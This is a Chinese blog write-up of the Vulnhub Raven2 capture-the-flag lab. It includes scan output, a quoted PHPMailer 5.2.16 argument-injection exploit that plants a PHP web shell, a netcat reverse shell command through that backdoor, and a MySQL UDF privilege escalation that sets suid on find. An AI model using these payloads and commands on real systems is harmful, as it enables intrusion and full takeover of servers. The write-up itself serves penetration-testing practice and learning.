美文网首页渗透测试实用指南
2019-01-21-Vulnhub渗透测试实战writeup(

2019-01-21-Vulnhub渗透测试实战writeup(

作者: 最初的美好_kai | 来源:发表于2019-01-22 16:28 被阅读11次

    Raven2....


    p1

    nmap如下:

    # Nmap 7.40 scan initiated Sun Jan 20 22:19:34 2019 as: nmap -p- -A -sV -oN 1.xml 192.168.110.142
    Nmap scan report for 192.168.110.142
    Host is up (0.0013s latency).
    Not shown: 65531 closed ports
    PORT      STATE SERVICE VERSION
    22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
    | ssh-hostkey: 
    |   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
    |   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
    |_  256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
    80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
    |_http-server-header: Apache/2.4.10 (Debian)
    |_http-title: Raven Security
    111/tcp   open  rpcbind 2-4 (RPC #100000)
    | rpcinfo: 
    |   program version   port/proto  service
    |   100000  2,3,4        111/tcp  rpcbind
    |   100000  2,3,4        111/udp  rpcbind
    |   100024  1          40180/udp  status
    |_  100024  1          44348/tcp  status
    44348/tcp open  status  1 (RPC #100024)
    MAC Address: 08:00:27:3F:B3:23 (Oracle VirtualBox virtual NIC)
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.2 - 4.6
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    TRACEROUTE
    HOP RTT     ADDRESS
    1   1.31 ms 192.168.110.142
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Sun Jan 20 22:20:08 2019 -- 1 IP address (1 host up) scanned in 35.12 seconds
    

    wpscan的结果如下:

    http://192.168.110.142/wordpress/wp-content/uploads/ #这里发现flag3.png...
    http://192.168.110.142/wordpress/wp-includes/#一些主题文件来着....php打不开
    
    flag3
    p2

    dirb没发现啥玩意....
    从经验来看主机漏洞没啥玩意可以入手的,那就只能从web入手了,wpscan发现两个用户名michael以及steven,爆破了一波啥都没弱密.....
    来到这一波思路枯竭了,只能看看walkthrough解解馋.....
    结果发现别人和我一样,但是dirb有几个扫出来的目录,例如/manual对应apache文档,/vendor对应所谓的图片目录下发现新线索,如下:


    p3
    其中在PATH中发现flag1.....这件事告诉我一定要好好检查每一个目录,不能觉得太常见就不管了......
    p4

    然后外面有一个version以及许多phpmailer的php文件,告诉我们版本是5.2.16,相当于多一个中间件版本信息,直接上searchsploit,找到是属于远程代码执行的版本来着,那就直接metasploit了.


    p5

    但是这个所谓的模块一直没起来.....不知道为啥...
    后来看了walkthrough的大佬写的bash脚本,直接自己利用了,感觉这个我得学一波js,php代码审计,bash脚本,我曹还好多不会啊.....
    大佬的脚本如下:

    #!/bin/bash
    
    TARGET=http://raven.local/contact.php
    
    DOCROOT=/var/www/html
    FILENAME=backdoor.php
    LOCATION=$DOCROOT/$FILENAME
    
    STATUS=$(curl -s \
                  --data-urlencode "name=Hackerman" \
                  --data-urlencode "email=\"hackerman\\\" -oQ/tmp -X$LOCATION blah\"@badguy.com" \
                  --data-urlencode "message=<?php echo shell_exec(\$_GET['cmd']); ?>" \
                  --data-urlencode "action=submit" \
                  $TARGET | sed -r '146!d')
    
    if grep 'instantiate' &>/dev/null <<<"$STATUS"; then
      echo "[+] Check ${LOCATION}?cmd=[shell command, e.g. id]"
    else
      echo "[!] Exploit failed"
    fi
    

    稍后查一波把...然后要运行记得要先修改权限....
    然后运行以后直接http://192.168.110.140/backdoor.php?cmd=....我用了nc反弹

    http://192.168.110.142/backdoor.php?cmd=nc%20-e%20/bin/sh%20192.168.110.1%201234
    
    p6

    然后直接cat wp-config.php一波.


    p7

    尝试一波ssh登录未成功,uname -a 是3.16属于可以dirty cow的队列....
    然后find一波


    p8.jpg
    发现flag2.txt
    flag2{6a8ed560f0b5358ecf844108048eb337}
    

    然后就只剩flag4了,应该是要直接上ROOT权限才行了.想尝试一波但是没有执行权限...也没发现什么suid提权的可能性.
    这里由于前面获取了mysql的账号密码,以及经过测试有写的权限(wget可以执行),5.1版本以下的可以直接在system32目录下导出udf.dll,5.1以上的直接在/lib/plugin目录下导出就行.
    整理一下UDF提权条件:导出目录要知道,其次是写权限,接着要数据库账号密码,要有相应的权限.
    walkthrough上都是先去exploit-db上找相应的UDF DLL exploit来编译利用的,

    searchsploit –m 1518.c
    gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
    
    p9

    然后直接放到靶机上下载利用

    wget  http://192.168.110.128/
    chmod 777 1518.so
    
    p10

    接着登录数据库进行操作

    use mysql;
    create table foo(line blob);
     insert into foo values(load_file('/tmp/1518.so'));
     select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
     create function do_system returns integer soname '1518.so';
    select do_system('chmod u+s /usr/bin/find');
    
    p11

    然后回来getroot了

    touch raj
    find raj –exec "whoami" \;
    find raj –exec "/bin/sh" \;
    cd /root
    ls
    cat flag4.txt
    
    p12

    总结一下:
    这次四个falg,2个是直接目录爆破出来的,直接使用查看目录就可以获取了..
    接着一个是利用phpmialer rce出来的,最后是使用mysql UDF出来的,

    相关文章

      网友评论

        本文标题:2019-01-21-Vulnhub渗透测试实战writeup(

        本文链接:https://www.haomeiwen.com/subject/bkaqjqtx.html